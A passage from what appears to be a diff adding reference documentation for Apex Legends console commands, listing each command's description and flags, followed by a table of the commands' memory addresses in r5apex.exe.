+fs_fios_cancel_prefetches + +Cancels all the prefetches in progress. + +flags: `0x2` +
+
+fs_fios_flush_cache + +Flushes the FIOS HDD cache. + +flags: `0x2` +
+
+fs_fios_prefetch_file + +Prefetches a file: . +The preftech is medium priority and persistent. + +flags: `0x2` +
+
+fs_fios_prefetch_file_in_pack + +Prefetches a file in a pack: . +The preftech is medium priority and non-persistent. + +flags: `0x2` +
+
+fs_fios_print_prefetches + +Displays all the prefetches currently in progress. + +flags: `0x2` +
+
+fs_printopenfiles + +Show all files currently opened by the engine. + +flags: `0x2` +
+
+fs_warning_level + +Set the filesystem warning level. + +flags: `0x2` +
+
+fx_impact_reparse + +Reloads the weapon impact effect table files + +flags: `0x4008` +
+
+gameui_activate + +Shows the game UI + +flags: `0x40000000` +
+
+gameui_allowescape + +Escape key allowed to hide game UI + +flags: `0x40000000` +
+
+gameui_allowescapetoshow + +Escape key allowed to show game UI + +flags: `0x2` +
+
+gameui_hide + +Hides the game UI + +flags: `0x40000000` +
+
+gameui_preventescape + +Escape key doesn't hide game UI + +flags: `0x40000000` +
+
+gameui_preventescapetoshow + +Escape key doesn't show game UI + +flags: `0x2` +
+
+getNewAuthToken + +Ask for a new auth token. + +flags: `0x2` +
+
+getfov + +Gets info about the current FOV + +flags: `0x2` +
+
+gethttpdatacenterlist + +Gets the list of datacenters + +flags: `0x2` +
+
+getpos + +dump position and angles to the console + +flags: `0xa` +
+
+getpos_bind + +Binds the given key to a setpos/setang command of your current position. + +flags: `0xa` +
+
+getposvec + +dump position and angles to the console in 'Vector( x, y, z ), Vector( pitch, yaw, roll )' format + +flags: `0xa` +
+
+give + +Give weapon to player. + +flags: `0x4008` +
+
+help + +Find help about a convar/concommand. + +flags: `0x2` +
+
+hidepanel + +Hides a viewport panel + +flags: `0xa` +
+
+hidevideos + +Hides video panels playing to the screen + +flags: `0xa` +
+
+highlight_log + +Log Highlight + +flags: `0x2` +
+
+host_runofftime + +Run off some time without rendering/updating sounds + + +flags: `0x2` +
+
+hud_subtitles + +Plays the Subtitles: + +flags: `0xa` +
+
+huffman_readProps + +Read the huffman file and regenerate huffman trees + +flags: `0x2` +
+
+impulse + + + +flags: `0x40080000` +
+
+in_spec_closest_enemy + + + +flags: `0x40080000` +
+
+in_spec_closest_player + + + +flags: `0x40080000` +
+
+in_spec_kill_leader + + + +flags: `0x40080000` +
+
+in_spec_last_attacker + + + +flags: `0x40080000` +
+
+in_spec_mode + + + +flags: `0x40080000` +
+
+in_spec_next + + + +flags: `0x40080000` +
+
+in_spec_next_team + + + +flags: `0x40080000` +
+
+in_spec_prev + + + +flags: `0x40080000` +
+
+in_spec_prev_team + + + +flags: `0x40080000` +
+
+inboxmessage_report + +Report an inbox message as abusive + +flags: `0x2` +
+
+incrementvar + +Increment specified convar value. + +flags: `0x20002` +
+
+ingamemenu_activate + +Shows the in-game menu + +flags: `0x40080008` +
+
+initMatchmaking + + + +flags: `0x2` +
+
+invnext + + + +flags: `0x40080000` +
+
+is_considered_sony_multiplayer + +Checks the value for whether the game is currently telling sony it's in multiplayer + +flags: `0xa` +
+
+joinopeninvite + +Join the active open invite in the chat room + +flags: `0x2` +
+
+joystick_initialize + + + +flags: `0x40000000` +
+
+jpeg + +Take a jpeg screenshot: jpeg . + +flags: `0x80000` +
+
+key_listboundkeys + +(DEPRECATED. Prefer bind_list)List bound keys with bindings. + +flags: `0x2` +
+
+key_updatelayout + +Updates game keyboard layout to current windows keyboard setting. + +flags: `0x2` +
+
+launchplaylist + + + +flags: `0x2` +
+
+leaveopeninvite + +Leave the active open invite in the chat room + +flags: `0x2` +
+
+listClientFXScriptHandles + +Lists all active effects tracked by script. + +flags: `0xa` +
+
+listmodels + +List loaded models. + +flags: `0x2` +
+
+loadPlaylists + +Reload the playlists + + +flags: `0x2` +
+
+map + +Start playing on specified map. + +flags: `0x20002` +
+
+map_background + +Runs a map as the background to the main menu. + +flags: `0x20002` +
+
+maps + +Displays list of maps. + +flags: `0x2` +
+
+mat_antialias_mode + +Set antialias mode + +flags: `0x2` +
+
+mat_configcurrent + +show the current video control panel config for the material system + +flags: `0x2` +
+
+mat_crosshair + +Display the name of the material under the crosshair + +flags: `0x4000` +
+
+mat_crosshair_edit + +open the material under the crosshair in the editor defined by mat_crosshair_edit_editor + +flags: `0x4000` +
+
+mat_crosshair_explorer + +open the material under the crosshair in explorer and highlight the file + +flags: `0x4000` +
+
+mat_crosshair_printmaterial + +print the material under the crosshair + +flags: `0x4000` +
+
+mat_crosshair_reloadmaterial + +reload the material under the crosshair + +flags: `0x4000` +
+
+mat_gamma + +Set gamma ramp + +flags: `0x40000000` +
+
+mat_hdr_enabled + +Report if HDR is enabled for debugging + +flags: `0x2` +
+
+mat_printLiveTex + +Print stats of all known live textures. + +flags: `0x2` +
+
+mat_savechanges + +saves current video configuration + +flags: `0x40000000` +
+
+mat_setvideomode + +sets the width, height, windowed state of the material system, as well as borderless state + +flags: `0x40000000` +
+
+mat_vsync + +Set vsync enabled + +flags: `0x2` +
+
+match_abortAllSearches + + + +flags: `0x2` +
+
+match_showAllSearches + + + +flags: `0x2` +
+
+matchmake + + + +flags: `0x40000000` +
+
+matchmake_cancel + + + +flags: `0x40000000` +
+
+matchmake_cleanupforparty + + + +flags: `0x40000000` +
+
+maxplayers + +Change the maximum number of players allowed on this server. + +flags: `0x2` +
+
+mem_compact + + + +flags: `0x2` +
+
+mem_dump + +Dump memory stats to text file. + +flags: `0x2` +
+
+mem_dump_vm + +Dump vm allocations to console. + +flags: `0x2` +
+
+mem_eat + + + +flags: `0x2` +
+
+mem_incremental_compact + + + +flags: `0x2` +
+
+mem_leak_vm + +Leak specified amount of virtual memory (in MB or 'oom' to deliberately run out.) + +flags: `0x2` +
+
+mem_test + + + +flags: `0x2` +
+
+mem_textures + + + +flags: `0x2` +
+
+mem_verify + +Verify the validity of the heap + +flags: `0x2` +
+
+mem_vram + + + +flags: `0x2` +
+
+memory + +Print memory stats. + +flags: `0x2` +
+
+migrateme + +Ask your server to migrate you over to another server + +flags: `0x10080000` +
+
+miles_dump + +Writes out milesdump file and perf CSV for current session (when CSOM_MILESDUMP_PASSIVELY_FOR_DEBUGGING is enabled) + +flags: `0xa` +
+
+miles_event_info + +Shows information about a particular event. + +flags: `0x2` +
+
+miles_pauseui_byname + +Pauses any sound played on the listener for this client with the given name. + +flags: `0xa` +
+
+miles_play + +Plays a given alias at an optional given position + +flags: `0x2` +
+
+miles_reboot + +restarts the audio engine + +flags: `0x40000008` +
+
+miles_record + +Enable or disable continuous recording (including previous buffer if available) of audio output to WAV file. + +flags: `0xa` +
+
+miles_record_that + +Writes audio output from the last minute or so to WAV file. (Only useful when CSOM_MILESDUMP_PASSIVE_SAMPLES is enabled) + +flags: `0xa` +
+
+miles_stop_all + +stops all playing sounds + +flags: `0x40000008` +
+
+miles_unpauseui_byname + +Resumes any paused sound played on the listener for this client with the given name. + +flags: `0xa` +
+
+miles_write_passive_dumpfile + +Writes out milesdump file for current session (Only when CSOM_MILESDUMP_PASSIVELY_FOR_DEBUGGING is enabled) + +flags: `0xa` +
+
+mmdevinit + + + +flags: `0x20002` +
+
+multvar + +Multiply specified convar value. + +flags: `0x20002` +
+
+muteroom + +Mute the chatroom + +flags: `0x2` +
+
+net_channels + +Shows net channel info + +flags: `0x2` +
+
+net_dumpIncomingStats + +Dump incoming traffic stats + +flags: `0x2` +
+
+net_dumpOutgoingStats + +Dump outgoing traffic stats + +flags: `0x2` +
+
+net_dumpStats + +Dump all traffic stats + +flags: `0x2` +
+
+net_start + +Inits multiplayer network sockets + +flags: `0x2` +
+
+net_status + +Shows current network status + +flags: `0x2` +
+
+net_writeStatsFile + +Write out networking info to a file + + +flags: `0x2` +
+
+openinvite + +Send an open invite to the chat room + +flags: `0x2` +
+
+openinvitecomplete + +Open Invite is complete (we have our search results and reservation is done) + +flags: `0x2` +
+
+openinvitelaunch + +Open Invite should launch + +flags: `0x2` +
+
+origin_friendlist_dump + + + +flags: `0x2` +
+
+particle_create + +Creates the named particle effect at the location under the crosshair. + +flags: `0x4000` +
+
+particle_create_on_me + +Creates a particle effect on my location + +flags: `0x4000` +
+
+particle_create_ss + +Creates a screen space particle effect + +flags: `0x4000` +
+
+particle_dump + +dumps particles matching provided filter (id or defname substring or *) + +flags: `0xa` +
+
+particle_kill + +Destroys the particle effect created with the particle_create console command. + +flags: `0x4000` +
+
+particle_list + +lists particles all, or matching optional filter (id or defname substring) + +flags: `0xa` +
+
+particle_recreate + +Replays the last particle effect created with the particle_create console command. + +flags: `0x4000` +
+
+particle_remove_all + + + +flags: `0x2` +
+
+particle_scrub_bake + + + +flags: `0x2` +
+
+particle_scrub_play + + + +flags: `0x2` +
+
+particle_scrub_stop + + + +flags: `0x2` +
+
+party_leave + +quit the current party + +flags: `0x40000000` +
+
+party_serverChange + +update the party with new server info + +flags: `0x40000000` +
+
+path + +Show the engine filesystem path. + +flags: `0x2` +
+
+pause + +Toggle the server pause state. + +flags: `0x2` +
+
+pausevideos + +Pauses all videos playing to the screen + +flags: `0xa` +
+
+perfcharts_record + +Start / Stop perfcharts recording + +flags: `0x50020000` +
+
+phys_objectDump + +Dump a list of the active objects on the client. + +flags: `0x2000a` +
+
+phys_throw_client + +Throws an entity of the given model where the player is looking. Model must already be loaded. + +flags: `0x4008` +
+
+ping + +Display ping to server. + +flags: `0x6` +
+
+ping_specific_type + +Pings a specific ping + +flags: `0x40000008` +
+
+pingdatacenters + +Re-pings the datacenters + +flags: `0x2` +
+
+pixelvis_debug + +Dump debug info + +flags: `0xa` +
+
+playerSettings_reparse + +Reload player class settings from .set files + +flags: `0x40004002` +
+
+playlistdump + +Dump contents of playlist to console (Without changing any state.) + +flags: `0x2` +
+
+playsoundscape + +Forces a soundscape to play + +flags: `0x4008` +
+
+playvideo + +Plays a video: [width height] + +flags: `0xa` +
+
+playvideo_end_level_transition + +Plays a video fullscreen without ability to skip (unless dev 1) and fades in:
+
+playvideo_exitcommand + +Plays a video and fires and exit command when it is stopped or finishes: + +flags: `0xa` +
+
+playvideo_exitcommand_nointerrupt + +Plays a video (without interruption) and fires and exit command when it is stopped or finishes: + +flags: `0xa` +
+
+playvideo_nointerrupt + +Plays a video without ability to skip: [width height] + +flags: `0xa` +
+
+playvideo_scaled + +Plays a video at position using coordinates scaled relative to the base screen resolution: [pinPos posX posY width height] + +flags: `0xa` +
+
+print_colorcorrection + +Display the color correction layer information. + +flags: `0x4000` +
+
+progress_enable + + + +flags: `0x2` +
+
+quit + +Exit the engine. + +flags: `0x40000000` +
+
+r_cheapwaterend + + + +flags: `0xa` +
+
+r_cheapwaterstart + + + +flags: `0xa` +
+
+r_cleardecals + +Usage r_cleardecals . + +flags: `0x40000000` +
+
+r_dxgi_max_frame_latency + +Set the max number of command buffers in flight. 0 will set it to the DXGI default of 3. Make sure you are not forcing "Maximum pre-rendered frames" in the driver settings, but leave it application controlled. + +flags: `0x2` +
+
+r_printdecalinfo + + + +flags: `0x2` +
+
+readMsgs + +Read your messages + +flags: `0x2` +
+
+recompute_speed + +Recomputes clock speed (for debugging purposes). + +flags: `0x4000` +
+
+reconnect + +Silently reconnect to specified server. Similar to silentconnect + +flags: `0x400a0000` +
+
+reload + +Reload the game (add setpos to jump to current view position on reload). + +flags: `0x2` +
+
+reload_localization + +Reloads all the localization data files + +flags: `0x2` +
+
+reload_script_callbacks + +Reloads script callback function pointers for client and server. + +flags: `0x4008` +
+
+reset_cam_ideal_angles + +Resets camera ideal angles to its default + +flags: `0x2` +
+
+restart + +Restart the game on the same level, to the beginning of the level (add setpos to jump to current view position on restart). + +flags: `0x2` +
+
+restart_checkpoint + +Restart the game on the same level, to the last checkpoint (add setpos to jump to current view position on restart). + +flags: `0x2` +
+
+roamingcam_setang + +Rotate roamingcam to the specified angles.( Yaw and pitch only ) + +flags: `0x40004008` +
+
+roamingcam_setpos + +Move roamingCam to the specified origin. + +flags: `0x40004008` +
+
+roamingcam_setroll + +Set the roll value for the roamingCam. + +flags: `0x4008` +
+
+rumble_print + +Print current list of active rumbles + +flags: `0xa` +
+
+savePlayerConfig + +Store player settings. + +flags: `0x40000000` +
+
+scoreboard_down + +Select next scoreboard player + +flags: `0x40000000` +
+
+scoreboard_focus + +Focus on scoreboard + +flags: `0x2` +
+
+scoreboard_mute + +Toggle the scoreboard player's muted status + +flags: `0x40000000` +
+
+scoreboard_profile + +Show the scoreboard player's profile + +flags: `0x40000000` +
+
+scoreboard_toggle_focus + +Toggle scoreboard focus + +flags: `0x40000000` +
+
+scoreboard_up + +Select previous scoreboard player + +flags: `0x40000000` +
+
+screenshot + +Take a screenshot. + +flags: `0x40000000` +
+
+scriptremotefunctions_print_client_stats + +Print remote functions client stats + +flags: `0x2000a` +
+
+server_single_frame + +Single step a frame for server + +flags: `0x6` +
+
+serverinfo + +Request serverinfo from a remote ip and port + +flags: `0x2` +
+
+set + +Change a variable in the class settings (does not save out to disk) + + +flags: `0x40004002` +
+
+set_loading_progress_background + +Sets the background for load screen. This is cleared to the default after each load. + +flags: `0x20002` +
+
+set_loading_progress_detente + +Set the keyboard and controller strings for the detentes. This is cleared to the default after each load. + +flags: `0x20002` +
+
+set_loading_progress_fadeout_enabled + +Sets whether or not to fade out of loading. This is cleared to the default after each load. (Default is = true ) + +flags: `0x20002` +
+
+set_loading_progress_sp_text + +Set the sp text for the load sreen. This is cleared to the default after each load. + +flags: `0x20002` +
+
+setinfo + +Adds a new user info value + +flags: `0x40000000` +
+
+settype + +Sets a type for a Convar/ConCommand. This affects UI rendering for the convar. Examples: 'text', 'bool', 'int 0 10', 'float 0.0 100.0', 'enum apple orange banana'. Move these to code eventually. + +flags: `0x2` +
+
+shake_stop + +Stops all active screen shakes. + + +flags: `0x4000` +
+
+shake_testpunch + +Test a punch-style screen shake. + + +flags: `0x4000` +
+
+show_loading_progress + +Prints all debug information regarding the state of the loading progress. + +flags: `0x2` +
+
+showpanel + +Shows a viewport panel + +flags: `0xa` +
+
+showvideos + +Makes video panels playing to the screen visible (if they were hidden) + +flags: `0xa` +
+
+silentconnect + +Silently connect to specified server, without disconnecting from our current server unless it succeeds. + +flags: `0xa0000` +
+
+skill_writeTrainingData + +Write training gauntlet skill data + +flags: `0x6` +
+
+soundscape_dumpclient + +Dumps the client's soundscape data. + + +flags: `0x4000` +
+
+spawn_as_pilot + +Spawn as Pilot + +flags: `0x2` +
+
+spawn_as_titan + +Spawn as Titan + +flags: `0x2` +
+
+ss_map + +Start playing on specified map with max allowed splitscreen players. + +flags: `0x20002` +
+
+ss_reloadletterbox + +ss_reloadletterbox + +flags: `0xa` +
+
+sssss_enable + +Enable screen-space subsurface scattering. 0 - off, 1 - enabled in lobby, 2 - always enabled + +flags: `0xa` +
+
+star_memory + +Dump memory stats + +flags: `0x2` +
+
+startmovie + +Start recording movie frames. + +flags: `0x20002` +
+
+status + +Display map and connection status. + +flags: `0x2` +
+
+steam_printid + + + +flags: `0x2` +
+
+steam_testOverlay + + + +flags: `0x2` +
+
+steamlink + + + +flags: `0x2` +
+
+steamunlink + + + +flags: `0x2` +
+
+stop_transition_videos_fadeout + +Fades out all transition videos playing to the screen:
+
+stopsoundscape + +Stops all soundscape processing and fades current looping sounds + +flags: `0x4008` +
+
+stopvideos + +Stops all videos playing to the screen + +flags: `0xa` +
+
+stopvideos_fadeout + +Fades out all videos playing to the screen:
+
+sv_precacheinfo + +Show precache info. + +flags: `0x2` +
+
+sv_showents + +Prints the server entity list + +flags: `0x2` +
+
+sv_shutdown + +Sets the server to shutdown when all games have completed + +flags: `0x4004` +
+
+sv_writeSendTableStreamFile + + + +flags: `0x2` +
+
+testCockpitJoltAngles + + + +flags: `0xa` +
+
+testCockpitJoltOrigin + + + +flags: `0xa` +
+
+test_freezeframe + +Test the freeze frame code. + +flags: `0x4000` +
+
+testhudanim + +Test a hud element animation. + Arguments: + + +flags: `0x4008` +
+
+thread_test_tslist + + + +flags: `0x2` +
+
+thread_test_tsqueue + + + +flags: `0x2` +
+
+titan_loadout_select + +Titan loadout select + +flags: `0x2` +
+
+toggle + +Toggles a convar on or off, or cycles through a set of values. + +flags: `0x80000` +
+
+toggle_inventory + +Toggle the inventory menu + +flags: `0x40080008` +
+
+toggle_map + +Toggle the big map + +flags: `0x40080008` +
+
+toggle_observer_highlight + +Toggle highlighting for the observer + +flags: `0x40000000` +
+
+toggle_observer_player_tags + +Toggle the mode for viewing player tags + +flags: `0x40080008` +
+
+ui_reloadscheme + +Reloads the resource files for the active UI window + +flags: `0xa` +
+
+uiscript_reset + +Resets all UI script state + +flags: `0x40000000` +
+
+uiscript_resolutionchanged + +Notifies UI script that the resolution has changed + +flags: `0x40000000` +
+
+unbind + +Unbind a key's TAPPED binding. + +flags: `0x40000000` +
+
+unbind_US_standard + +Unbind a key's TAPPED binding. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard and unbind that key. + +flags: `0x40000000` +
+
+unbind_all_gamepad + +Unbinds all gamepad binds + +flags: `0x40000000` +
+
+unbind_batch + +Unbind all bindings (tapped/held) from all specified keys (no keyboard layout translation). + +flags: `0x40000000` +
+
+unbind_held + +Unbind a key's HELD binding. + +flags: `0x40000000` +
+
+unbind_held_US_standard + +Unbind a key's HELD binding. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard and unbind that key. + +flags: `0x40000000` +
+
+unbindall + +Unbind all keys. + +flags: `0x40000000` +
+
+unbindall_ignoreGamepad + +Unbind all keys, skip gamepad binds. + +flags: `0x40000000` +
+
+unload_level_loadscreen + +Unloads the loadscreen for the current level + +flags: `0x40000000` +
+
+unmuteroom + +Unmute the chatroom + +flags: `0x2` +
+
+unpausevideos + +Unpauses all videos playing to the screen + +flags: `0xa` +
+
+use_consumable + +Uses a specific consumable + +flags: `0x80008` +
+
+user + +Show user data. + +flags: `0x2` +
+
+users + +Show user info for players on server. + +flags: `0x2` +
+
+version + +Print version info string. + +flags: `0x2` +
+
+vgui_spew_fonts + + + +flags: `0xa` +
+
+vgui_togglepanel + +show/hide vgui panel by name. + +flags: `0x2` +
+
+voicerecord_toggle + + + +flags: `0x80000` +
+
+vx_datacache_list + +vx_datacache_list + +flags: `0x2` +
+
+vx_model_list + +Dump models to VXConsole + +flags: `0x2` +
+
+weaponSelectOrdnance + + + +flags: `0x40080000` +
+
+weaponSelectPrimary0 + + + +flags: `0x40080000` +
+
+weaponSelectPrimary1 + + + +flags: `0x40080000` +
+
+weaponSelectPrimary2 + + + +flags: `0x40080000` +
+
+weapon_activity + +Play a custom animation activity on the active weapon. + +flags: `0x40000000` +
+
+weapon_inspect + + + +flags: `0x40080000` +
+
+weapon_list + +Lists all weapons owned by the local player + +flags: `0x2` +
+
+weapon_reparse + +Reloads the weapon script files + +flags: `0x4008` +
+
+xlog_list + +List all xlogs, and various stats + +flags: `0x2` +
+
+xlog_record + +Start writing log file to disk (including any previously buffered data) + +flags: `0x2` +
+
+xlog_record_that + +Write buffered data (if any) + +flags: `0x2` +
+
+xlog_stop + +Stop writing it to disk. (resume buffering if buffering enabled on log) + +flags: `0x2` +
+
+xlook + + + +flags: `0x40080000` +
+
+xmove + + + +flags: `0x40080000` +
+ +### Addresses + +``` +r5apex.exe!0x01c53da0 ConCommand +ability +r5apex.exe!0x01c5be60 ConCommand +ability_held +r5apex.exe!0x01c60660 ConCommand +attack +r5apex.exe!0x01c64540 ConCommand +backward +r5apex.exe!0x01c5d200 ConCommand +break +r5apex.exe!0x01c60820 ConCommand +camdistance +r5apex.exe!0x01c5bee0 ConCommand +camin +r5apex.exe!0x01c586e0 ConCommand +cammousemove +r5apex.exe!0x01c58ce0 ConCommand +camout +r5apex.exe!0x01c644c0 ConCommand +campitchdown +r5apex.exe!0x01c53ac0 ConCommand +campitchup +r5apex.exe!0x01c5d280 ConCommand +camyawleft +r5apex.exe!0x01c5aad0 ConCommand +camyawright +r5apex.exe!0x01c5f730 ConCommand +commandermousemove +r5apex.exe!0x018af9b0 ConCommand +csm_rot_x_neg +r5apex.exe!0x018bf8e0 ConCommand +csm_rot_x_plus +r5apex.exe!0x018bc360 ConCommand +csm_rot_y_neg +r5apex.exe!0x018bf140 ConCommand +csm_rot_y_plus +r5apex.exe!0x01c67930 ConCommand +displayFullscreenMap +r5apex.exe!0x01c5a3b0 ConCommand +dodge +r5apex.exe!0x01c650a0 ConCommand +duck +r5apex.exe!0x01c53fe0 ConCommand +forward +r5apex.exe!0x01c61aa0 ConCommand +graph +r5apex.exe!0x01c65ea0 ConCommand +jump +r5apex.exe!0x01c5f970 ConCommand +klook +r5apex.exe!0x01c63dd0 ConCommand +left +r5apex.exe!0x01c61c20 ConCommand +lookdown +r5apex.exe!0x01c62800 ConCommand +lookup +r5apex.exe!0x012b0d90 ConCommand +mat_texture_list +r5apex.exe!0x01c65660 ConCommand +melee +r5apex.exe!0x01c61a20 ConCommand +movedown +r5apex.exe!0x01c5bc20 ConCommand +moveleft +r5apex.exe!0x01c54600 ConCommand +moveright +r5apex.exe!0x01c5a5d0 ConCommand +moveup +r5apex.exe!0x01c662a0 ConCommand +offhand0 +r5apex.exe!0x01c56da0 ConCommand +offhand1 +r5apex.exe!0x01c64b60 ConCommand +offhand2 +r5apex.exe!0x01c60540 ConCommand +offhand3 +r5apex.exe!0x01c645c0 ConCommand +offhand4 +r5apex.exe!0x01c679b0 ConCommand +pause_menu +r5apex.exe!0x01c5e5d0 ConCommand +ping +r5apex.exe!0x01cbeeb0 ConCommand +posedebug +r5apex.exe!0x011b87a0 ConCommand +pushtotalk +r5apex.exe!0x01c58b60 ConCommand +reload +r5apex.exe!0x01c57f20 ConCommand +right +r5apex.exe!0x01c66aa0 ConCommand +score +r5apex.exe!0x01c63060 ConCommand +scriptCommand1 +r5apex.exe!0x01c656e0 ConCommand +scriptCommand2 +r5apex.exe!0x01c57e20 ConCommand +scriptCommand3 +r5apex.exe!0x01c5a8b0 ConCommand +scriptCommand4 +r5apex.exe!0x01c62540 ConCommand +scriptCommand5 +r5apex.exe!0x01c62900 ConCommand +scriptCommand6 +r5apex.exe!0x01c661a0 ConCommand +scriptCommand7 +r5apex.exe!0x01c584a0 ConCommand +scriptCommand8 +r5apex.exe!0x01c622e0 ConCommand +scriptCommand9 +r5apex.exe!0x01c548a0 ConCommand +showscores +r5apex.exe!0x01c53600 ConCommand +speed +r5apex.exe!0x01c678b0 ConCommand +strafe +r5apex.exe!0x01c589a0 ConCommand +toggle_duck +r5apex.exe!0x01c54700 ConCommand +toggle_zoom +r5apex.exe!0x01c64300 ConCommand +use +r5apex.exe!0x01c62660 ConCommand +useAndReload +r5apex.exe!0x01c5aea0 ConCommand +use_alt +r5apex.exe!0x01c65120 ConCommand +use_long +r5apex.exe!0x01c58f20 ConCommand +variableScopeToggle +r5apex.exe!0x011abef0 ConCommand +voicerecord +r5apex.exe!0x01c67220 ConCommand +walk +r5apex.exe!0x01c667e0 ConCommand +weaponCycle +r5apex.exe!0x01c62a20 ConCommand +weapon_discard +r5apex.exe!0x01c58be0 ConCommand +zoom +r5apex.exe!0x01c5f850 ConCommand -ability +r5apex.exe!0x01c59c30 ConCommand -ability_held +r5apex.exe!0x01c5c280 ConCommand -attack +r5apex.exe!0x01c53880 ConCommand -backward +r5apex.exe!0x01c5e6f0 ConCommand -break +r5apex.exe!0x01c67080 ConCommand -camdistance +r5apex.exe!0x01c63660 ConCommand -camin +r5apex.exe!0x01c58520 ConCommand -cammousemove +r5apex.exe!0x01c5de20 ConCommand -camout +r5apex.exe!0x01c61f60 ConCommand -campitchdown +r5apex.exe!0x01c5d3a0 ConCommand -campitchup +r5apex.exe!0x01c5bd40 ConCommand -camyawleft +r5apex.exe!0x01c5a550 ConCommand -camyawright +r5apex.exe!0x01c65240 ConCommand -commandermousemove +r5apex.exe!0x018c0df0 ConCommand -csm_rot_x_neg +r5apex.exe!0x018b0180 ConCommand -csm_rot_x_plus +r5apex.exe!0x01c48be0 ConCommand -csm_rot_y_neg +r5apex.exe!0x018be700 ConCommand -csm_rot_y_plus +r5apex.exe!0x01c53ec0 ConCommand -displayFullscreenMap +r5apex.exe!0x01c664e0 ConCommand -dodge +r5apex.exe!0x01c61ba0 ConCommand -duck +r5apex.exe!0x01c5a9b0 ConCommand -forward +r5apex.exe!0x01c5abf0 ConCommand -graph +r5apex.exe!0x01c5b640 ConCommand -jump +r5apex.exe!0x01c59cb0 ConCommand -klook +r5apex.exe!0x01c54680 ConCommand -left +r5apex.exe!0x01c5a7b0 ConCommand -lookdown +r5apex.exe!0x01c53c80 ConCommand -lookup +r5apex.exe!0x012b0b30 ConCommand -mat_texture_list +r5apex.exe!0x01c5f130 ConCommand -melee +r5apex.exe!0x01c58880 ConCommand -movedown +r5apex.exe!0x01c63f90 ConCommand -moveleft +r5apex.exe!0x01c5b6c0 ConCommand -moveright +r5apex.exe!0x01c61ca0 ConCommand -moveup +r5apex.exe!0x01c62780 ConCommand -offhand0 +r5apex.exe!0x01c64780 ConCommand -offhand1 +r5apex.exe!0x01c63820 ConCommand -offhand2 +r5apex.exe!0x01c59d30 ConCommand -offhand3 +r5apex.exe!0x01c54340 ConCommand -offhand4 +r5apex.exe!0x01c64090 ConCommand -pause_menu +r5apex.exe!0x01c54780 ConCommand -ping +r5apex.exe!0x01cbef30 ConCommand -posedebug +r5apex.exe!0x011b8170 ConCommand -pushtotalk +r5apex.exe!0x01c54460 ConCommand -reload +r5apex.exe!0x01c61b20 ConCommand -right +r5apex.exe!0x01c64940 ConCommand -score +r5apex.exe!0x01c54580 ConCommand -scriptCommand1 +r5apex.exe!0x01c62120 ConCommand -scriptCommand2 +r5apex.exe!0x01c66220 ConCommand -scriptCommand3 +r5apex.exe!0x01c65fe0 ConCommand -scriptCommand4 +r5apex.exe!0x01c53680 ConCommand -scriptCommand5 +r5apex.exe!0x01c53460 ConCommand -scriptCommand6 +r5apex.exe!0x01c66460 ConCommand -scriptCommand7 +r5apex.exe!0x01c57b80 ConCommand -scriptCommand8 +r5apex.exe!0x01c617e0 ConCommand -scriptCommand9 +r5apex.exe!0x01c57da0 ConCommand -showscores +r5apex.exe!0x01c5b5c0 ConCommand -speed +r5apex.exe!0x01c64ae0 ConCommand -strafe +r5apex.exe!0x01c5a930 ConCommand -toggle_duck +r5apex.exe!0x01c624a0 ConCommand -toggle_zoom +r5apex.exe!0x01c57c00 ConCommand -use +r5apex.exe!0x01c53580 ConCommand -useAndReload +r5apex.exe!0x01c64280 ConCommand -use_alt +r5apex.exe!0x01c5cf90 ConCommand -use_long +r5apex.exe!0x01c542c0 ConCommand -variableScopeToggle +r5apex.exe!0x011a89b0 ConCommand -voicerecord +r5apex.exe!0x01c66860 ConCommand -walk +r5apex.exe!0x01c5a430 ConCommand -weaponCycle +r5apex.exe!0x01c67340 ConCommand -weapon_discard +r5apex.exe!0x01c5e080 ConCommand -zoom +r5apex.exe!0x011a4da0 ConCommand BindToggle +r5apex.exe!0x012ffcb0 ConCommand CMaterialSystem_clear_loading +r5apex.exe!0x012ff4b0 ConCommand CMaterialSystem_set_loading +r5apex.exe!0x012ffe70 ConCommand DebugPrintUsedTextures +r5apex.exe!0x012b1860 ConCommand DumpClientDataBlockReceiver +r5apex.exe!0x012ed0c0 ConCommand EADP_Dump_Invites +r5apex.exe!0x012ecb80 ConCommand EADP_RTM_FORCE_TLS_ERROR +r5apex.exe!0x012ed140 ConCommand EADP_RTM_send_invite +r5apex.exe!0x012ed320 ConCommand EADP_RTM_send_presence +r5apex.exe!0x012ed3a0 ConCommand EADP_RTM_test_subscribe +r5apex.exe!0x012ed2a0 ConCommand EADP_dump_MyPresence +r5apex.exe!0x012e55c0 ConCommand EADP_dump_friends +r5apex.exe!0x012e54c0 ConCommand EADP_get_friend_test +r5apex.exe!0x012e5640 ConCommand EADP_is_friend_user_test +r5apex.exe!0x012ed4c0 ConCommand EADP_presence_subscribe_all_club_members +r5apex.exe!0x012e5800 ConCommand EADP_search_test2 +r5apex.exe!0x012e5540 ConCommand EADP_unfriend_user_test +r5apex.exe!0x0127a9b0 ConCommand MemTrackDeltaSnapshot +r5apex.exe!0x0127a530 ConCommand MemTrackPrintStats +r5apex.exe!0x0586eef0 ConCommand OriginRebootCLientAuthTokens_Test +r5apex.exe!0x012ecc00 ConCommand RTM_FORCE_shutdown +r5apex.exe!0x018c4770 ConCommand ReloadAimAssistSettings +r5apex.exe!0x01279fb0 ConCommand adminmsg +r5apex.exe!0x01e903a0 ConCommand aisettings_reparse_client +r5apex.exe!0x011a8760 ConCommand alias +r5apex.exe!0x01e8ee60 ConCommand applyVideoChangesDeferred +r5apex.exe!0x011aed20 ConCommand bind +r5apex.exe!0x011ac2f0 ConCommand bind_US_standard +r5apex.exe!0x011b0500 ConCommand bind_held +r5apex.exe!0x011afce0 ConCommand bind_held_US_standard +r5apex.exe!0x011ac6c0 ConCommand bind_list +r5apex.exe!0x011ab5d0 ConCommand bind_list_abilities +r5apex.exe!0x011b9100 ConCommand bink_dump_precached_movies +r5apex.exe!0x01e7a670 ConCommand bot_loadout +r5apex.exe!0x0127a5d0 ConCommand box +r5apex.exe!0x011a5e30 ConCommand buildcubemaps +r5apex.exe!0x011adb20 ConCommand cache_print +r5apex.exe!0x011ad340 ConCommand cache_print_lru +r5apex.exe!0x011a8de0 ConCommand cache_print_summary +r5apex.exe!0x01c60130 ConCommand cam_command +r5apex.exe!0x01c57c80 ConCommand cancelselect +r5apex.exe!0x01c57090 ConCommand cc_emit +r5apex.exe!0x018b06a0 ConCommand centerview +r5apex.exe!0x011b1290 ConCommand changelevel +r5apex.exe!0x018ae8d0 ConCommand chaosmonkeydisconnect +r5apex.exe!0x0127ba00 ConCommand chat +r5apex.exe!0x01c6fbe0 